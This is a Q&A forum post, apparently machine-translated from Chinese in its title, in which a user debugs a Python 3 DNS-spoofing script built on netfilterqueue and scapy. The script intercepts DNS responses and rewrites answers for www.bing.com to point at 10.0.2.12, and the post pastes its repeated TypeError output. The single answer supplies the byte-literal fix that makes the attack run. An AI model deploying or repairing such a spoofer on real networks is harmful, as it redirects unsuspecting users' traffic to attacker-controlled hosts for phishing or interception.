使用 Python 3 A byte-like object is required not a str" 我尝试将其转换为字节，但它仍然给我同样的错误

Question

import netfilterqueue import scapy.all as scapy

def process_packet(packet):
    scapy_packet = scapy.IP(packet.get_payload())
    if scapy_packet.haslayer(scapy.DNSRR):
        qname = scapy_packet[scapy.DNSQR].qname
        website = 'www.bing.com'

        if website in qname:
            print("[+] Spoofing ")
            answer = scapy.DNSRR(rrname=qname, rdata="10.0.2.12")
            scapy_packet[scapy.DNS].an = answer
            scapy_packet[scapy.DNS].ancount = 1

            del scapy_packet[scapy.IP].len
            del scapy_packet[scapy.IP].chksum
            del scapy_packet[scapy.UDP].len
            del scapy_packet[scapy.UDP].chksum

            packet.set_payload(str(scapy_packet))
    packet.accept()

queue = netfilterqueue.NetfilterQueue()
queue.bind(0, process_packet)
queue.run()

---

Exception ignored in: 'netfilterqueue.global_callback' Traceback (most recent call last): File "dns_spoofer.py", line 9, in process_packet if website in qname: TypeError: a bytes-like object is required, not 'str' Exception ignored in: 'netfilterqueue.global_callback' Traceback (most recent call last): File "dns_spoofer.py", line 9, in process_packet if website in qname: TypeError: a bytes-like object is required, not 'str' Exception ignored in: 'netfilterqueue.global_callback' Traceback (most recent call last): File "dns_spoofer.py", line 9, in process_packet if website in qname: TypeError: a bytes-like object is required, not 'str' Exception ignored in: 'netfilterqueue.global_callback' Traceback (most recent call last): File "dns_spoofer.py", line 9, in process_packet if website in qname: TypeError: a bytes-like object is required, not 'str' Exception ignored in: 'netfilter queue.global_callback' Traceback (most recent call last): File "dns_spoofer.py", line 9, in process_packet if website in qname: TypeError: a bytes-like object is required, not 'str' Exception ignored in: 'netfilterqueue.global_callback' Traceback (most recent call last): File "dns_spoofer.py", line 9, in process_packet if website in qname: TypeError: a bytes-like object is required, not 'str' Exception ignored in: 'netfilterqueue.global_callback' Traceback (most recent call last): File "dns_spoofer.py", line 9, in process_packet if website in qname: TypeError: a bytes-like object is required, not 'str' Exception ignored in: 'netfilterqueue.global_callback' Traceback (most recent call last): File "dns_spoofer.py", line 9, in process_packet if website in qname: TypeError: a bytes-like object is required, not 'str' ^CTraceback (most recent call last): File "dns_spoofer.py", line 25, in queue.run() KeyboardInterrupt

Answer 1

Try website = b'www.bing.com' . The b makes it a byte literal.